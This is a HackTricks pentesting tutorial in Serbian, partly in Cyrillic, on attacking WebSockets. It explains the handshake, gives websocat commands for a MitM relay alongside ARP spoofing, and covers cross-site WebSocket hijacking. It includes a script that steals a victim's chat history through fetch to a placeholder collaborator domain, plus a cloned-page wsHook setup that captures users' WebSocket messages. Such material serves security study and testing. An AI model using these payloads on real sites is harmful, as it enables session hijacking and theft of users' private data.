WebSocket Attacks

Support HackTricks

Šta su WebSocketi

WebSocket veze se uspostavljaju kroz inicijalni HTTP handshake i dizajnirane su da budu dugoročne, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju nisku latenciju ili komunikaciju iniciranu sa servera, kao što su strimovi uživo finansijskih podataka.

Uspostavljanje WebSocket Veza

Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći ovde. Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na klijentskoj strani kao što je prikazano u nastavku:

var ws = new WebSocket("wss://normal-website.com/ws");

wss протокол означава WebSocket везу заштићену TLS, док ws указује на необезбеђену везу.

Током успостављања везе, изводи се руковање између браузера и сервера преко HTTP. Процес руковања укључује слање захтева од стране браузера и одговор сервера, као што је илустровано у следећим примерима:

Браузер шаље захтев за руковање:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odgovor serverovog rukovanja:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Konekcija ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.

Ključne tačke WebSocket rukovanja:

  • Connection i Upgrade zaglavlja signaliziraju inicijaciju WebSocket rukovanja.

  • Sec-WebSocket-Version zaglavlje označava željenu verziju WebSocket protokola, obično 13.

  • Base64-enkodirana nasumična vrednost se šalje u Sec-WebSocket-Key zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanjem proksija. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisane server ili keša.

  • Sec-WebSocket-Accept zaglavlje u odgovoru servera je heš od Sec-WebSocket-Key, verifikujući nameru servera da otvori WebSocket konekciju.

Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.

Linux konzola

Možete koristiti websocat za uspostavljanje sirove konekcije sa websocket-om.

websocat --insecure wss://10.10.10.10:8000 -v

Ili da kreirate websocat server:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket veze

Ako otkrijete da su klijenti povezani na HTTP websocket iz vaše trenutne lokalne mreže, možete pokušati sa ARP Spoofing Attack da izvršite MitM napad između klijenta i servera. Kada klijent pokuša da se poveže, možete koristiti:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeracija

Možete koristiti alat https://github.com/PalindromeLabs/STEWS da automatski otkrijete, identifikujete i pretražujete poznate ranjivosti u websockets.

Websocket Debug alati

  • Burp Suite podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju.

  • socketsleuth Burp Suite ekstenzija će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem istorije, postavljanjem pravila za presretanje, korišćenjem pravila za usklađivanje i zamenu, korišćenjem Intruder i AutoRepeater.

  • WSSiP: Skraćeno od "WebSocket/Socket.io Proxy", ovaj alat, napisan u Node.js, pruža korisnički interfejs za hvatanje, presretanje, slanje prilagođenih poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.

  • wsrepl je interaktivni websocket REPL dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje dolaznih websocket poruka i slanje novih, sa jednostavnim okvirom za automatizaciju ove komunikacije.

  • https://websocketking.com/ je web za komunikaciju sa drugim webovima koristeći websockets.

  • https://hoppscotch.io/realtime/websocket između ostalih tipova komunikacija/protokola, pruža web za komunikaciju sa drugim webovima koristeći websockets.

Websocket Lab

U Burp-Suite-Extender-Montoya-Course imate kod za pokretanje web-a koristeći websockets, a u ovom postu možete pronaći objašnjenje.

Cross-site WebSocket otmica (CSWSH)

Cross-site WebSocket otmica, takođe poznata kao cross-origin WebSocket otmica, identifikovana je kao specifičan slučaj Cross-Site Request Forgery (CSRF) koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem HTTP kolačića bez CSRF tokena ili sličnih bezbednosnih mera.

Napadači mogu iskoristiti ovo tako što će hostovati zloćudnu web stranicu koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, koristeći nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.

Jednostavan napad

Imajte na umu da kada uspostavljate websocket vezu, kolačić se šalje serveru. Server ga može koristiti da poveže svakog specifičnog korisnika sa njegovom websocket sesijom na osnovu poslatog kolačića.

Zatim, ako na primer websocket server vrati istoriju razgovora korisnika ako se pošalje poruka sa "READY", tada će jednostavan XSS koji uspostavlja vezu (kolačić će biti poslat automatski da autorizuje korisnika žrtvu) slanjem "READY" moći da dobije istoriju razgovora.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

U ovom blog postu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ napadač je uspeo da izvrši proizvoljni Javascript u poddomeni domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila poddomena, cookie je bio poslat, a pošto Websocket nije pravilno proveravao Origin, bilo je moguće komunicirati s njom i ukrasti tokene iz nje.

Stealing data from user

Kopirajte web aplikaciju koju želite da imitirate (npr. .html fajlove) i unutar skripte gde se odvija websocket komunikacija dodajte ovaj kod:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Sada preuzmite wsHook.js datoteku sa https://github.com/skepticfx/wshook i sačuvajte je unutar fascikle sa web datotekama. Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:

sudo python3 -m http.server 80

Race Conditions

Race Conditions u WebSocket-ima su takođe stvar, proverite ove informacije da biste saznali više.

Other vulnerabilities

Pošto su Web Sockets mehanizam za slanje podataka na serversku i klijentsku stranu, u zavisnosti od toga kako server i klijent obrađuju informacije, Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.

WebSocket Smuggling

Ova ranjivost bi mogla omogućiti da zaobiđete ograničenja obrnute proxy usluge tako što će ih naterati da veruju da je websocket komunikacija uspostavljena (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da pristupi skrivenim krajnjim tačkama. Za više informacija proverite sledeću stranicu:

Upgrade Header Smuggling

References

Support HackTricks

Last updated